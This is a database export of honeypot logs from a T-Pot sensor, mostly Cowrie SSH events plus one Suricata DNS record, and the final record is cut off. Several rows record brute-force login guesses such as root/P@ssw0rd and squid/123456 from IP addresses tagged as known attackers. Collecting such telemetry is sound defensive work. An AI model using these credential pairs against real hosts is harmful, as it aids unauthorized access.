22246	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:06.707899+03	2021-09-20 14:15:04.684645+03	{"_id": "2wbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:47844 (192.168.176.2:22) [session: 68fa21446dac]", "session": "68fa21446dac", "@version": "1", "protocol": "ssh", "src_port": 47844, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.707899Z", "@timestamp": "2021-09-20T11:07:06.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22247	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:06.986719+03	2021-09-20 14:15:04.686642+03	{"_id": "AgbjAnwBvYTbRNuEXAf9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "68fa21446dac", "@version": "1", "timestamp": "2021-09-20T11:07:06.986719Z", "@timestamp": "2021-09-20T11:07:06.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22248	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.410417+03	2021-09-20 14:15:04.688647+03	{"_id": "DAbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/P@ssw0rd] failed", "session": "48da12aa7451", "@version": "1", "password": "P@ssw0rd", "username": "root", "timestamp": "2021-09-20T11:07:06.410417Z", "@timestamp": "2021-09-20T11:07:06.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22249	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.686694+03	2021-09-20 14:15:04.689642+03	{"_id": "DQbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e630dcd0d392", "@version": "1", "duration": 2.726776599884033, "timestamp": "2021-09-20T11:07:06.686694Z", "@timestamp": "2021-09-20T11:07:06.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22250	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.789949+03	2021-09-20 14:15:04.690614+03	{"_id": "DgbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "83ebf6194d97", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:06.789949Z", "@timestamp": "2021-09-20T11:07:06.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22251	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:06.495243+03	2021-09-20 14:15:04.692643+03	{"_id": "4wbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [view/view] failed", "session": "53556f190532", "@version": "1", "password": "view", "username": "view", "timestamp": "2021-09-20T11:07:06.495243Z", "@timestamp": "2021-09-20T11:07:06.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22252	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.898518+03	2021-09-20 14:15:04.693642+03	{"_id": "DwbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [squid/123456] failed", "session": "ae995b2b38d4", "@version": "1", "password": "123456", "username": "squid", "timestamp": "2021-09-20T11:07:06.898518Z", "@timestamp": "2021-09-20T11:07:06.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22253	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.496876+03	2021-09-20 14:15:04.695651+03	{"_id": "5QbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9d3b02d91fa6", "@version": "1", "duration": 3.097381114959717, "timestamp": "2021-09-20T11:07:06.496876Z", "@timestamp": "2021-09-20T11:07:06.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22254	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.790572+03	2021-09-20 14:15:04.696616+03	{"_id": "5gbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "83ebf6194d97", "@version": "1", "timestamp": "2021-09-20T11:07:06.790572Z", "@timestamp": "2021-09-20T11:07:06.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22255	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.941604+03	2021-09-20 14:15:04.697643+03	{"_id": "5wbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "445b8725efc6", "@version": "1", "duration": 3.1608710289001465, "timestamp": "2021-09-20T11:07:06.941604Z", "@timestamp": "2021-09-20T11:07:06.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22256	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:07:07.716652+03	2021-09-20 14:15:04.69864+03	{"_id": "EQbjAnwBvYTbRNuEXwd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4171, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2219, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 402204013619920, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36265, "timestamp": "2021-09-20T11:07:07.716652Z", "@timestamp": "2021-09-20T11:07:07.716Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22257	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.2767+03	2021-09-20 14:15:04.699613+03	{"_id": "xwbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54548 (192.168.176.2:22) [session: 31a25cff8312]", "session": "31a25cff8312", "@version": "1", "protocol": "ssh", "src_port": 54548, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.276700Z", "@timestamp": "2021-09-20T11:06:57.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22258	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:57.328676+03	2021-09-20 14:15:04.701642+03	{"_id": "xgbjAnwBvYTbRNuEOQTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "28bf660714c4", "@version": "1", "timestamp": "2021-09-20T11:06:57.328676Z", "@timestamp": "2021-09-20T11:06:57.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22259	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.639824+03	2021-09-20 14:15:04.702643+03	{"_id": "uAbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", 